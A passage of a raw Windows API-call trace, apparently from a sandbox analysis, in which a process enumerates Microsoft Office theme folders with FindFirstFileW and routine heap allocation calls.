lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0232.943] GetProcessHeap () returned 0xc10000 [0232.943] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.943] GetProcessHeap () returned 0xc10000 [0232.943] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0232.946] GetProcessHeap () returned 0xc10000 [0232.946] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.946] GetProcessHeap () returned 0xc10000 [0232.946] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.946] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0232.949] GetProcessHeap () returned 0xc10000 [0232.949] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.949] GetProcessHeap () returned 0xc10000 [0232.949] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.951] GetProcessHeap () returned 0xc10000 [0232.951] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.951] GetProcessHeap () returned 0xc10000 [0232.951] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0232.954] GetProcessHeap () returned 0xc10000 [0232.954] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.954] GetProcessHeap () returned 0xc10000 [0232.954] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.954] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0232.956] GetProcessHeap () returned 0xc10000 [0232.956] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.956] GetProcessHeap () returned 0xc10000 [0232.957] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0232.958] GetProcessHeap () returned 0xc10000 [0232.958] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.958] GetProcessHeap () returned 0xc10000 [0232.958] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.958] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0232.960] GetProcessHeap () returned 0xc10000 [0232.960] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.960] GetProcessHeap () returned 0xc10000 [0232.960] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.960] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0232.963] GetProcessHeap () returned 0xc10000 [0232.963] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.963] GetProcessHeap () returned 0xc10000 [0232.963] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.965] GetProcessHeap () returned 0xc10000 [0232.965] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.965] GetProcessHeap () returned 0xc10000 [0232.965] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.965] GetProcessHeap () returned 0xc10000 [0232.965] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.965] GetProcessHeap () returned 0xc10000 [0232.966] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.966] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.967] GetProcessHeap () returned 0xc10000 [0232.967] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.967] GetProcessHeap () returned 0xc10000 [0232.967] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0232.969] GetProcessHeap () returned 0xc10000 [0232.969] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.969] GetProcessHeap () returned 0xc10000 [0232.969] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0232.971] GetProcessHeap () returned 0xc10000 [0232.971] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.971] GetProcessHeap () returned 0xc10000 [0232.971] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0232.974] GetProcessHeap () returned 0xc10000 [0232.974] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.974] GetProcessHeap () returned 0xc10000 [0232.974] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0232.975] GetProcessHeap () returned 0xc10000 [0232.975] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.975] GetProcessHeap () returned 0xc10000 [0232.975] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.980] GetProcessHeap () returned 0xc10000 [0232.980] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.980] GetProcessHeap () returned 0xc10000 [0232.980] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0232.980] GetProcessHeap () returned 0xc10000 [0232.980] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.980] GetProcessHeap () returned 0xc10000 [0232.980] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0232.987] GetProcessHeap () returned 0xc10000 [0232.987] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.987] GetProcessHeap () returned 0xc10000 [0232.987] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0232.996] GetProcessHeap () returned 0xc10000 [0232.996] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.996] GetProcessHeap () returned 0xc10000 [0232.996] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0232.997] GetProcessHeap () returned 0xc10000 [0232.997] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.997] GetProcessHeap () returned 0xc10000 [0232.997] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0233.153] GetProcessHeap () returned 0xc10000 [0233.154] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.154] GetProcessHeap () returned 0xc10000 [0233.154] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0233.154] GetProcessHeap () returned 0xc10000 [0233.154] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.154] GetProcessHeap () returned 0xc10000 [0233.154] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0233.158] GetProcessHeap () returned 0xc10000 [0233.158] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.158] GetProcessHeap () returned 0xc10000 [0233.158] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0233.159] GetProcessHeap () returned 0xc10000 [0233.159] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.159] GetProcessHeap () returned 0xc10000 [0233.159] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0233.160] GetProcessHeap () returned 0xc10000 [0233.160] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.160] GetProcessHeap () returned 0xc10000 [0233.160] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0233.161] GetProcessHeap () returned 0xc10000 [0233.161] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.161] GetProcessHeap () returned 0xc10000 [0233.161] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, 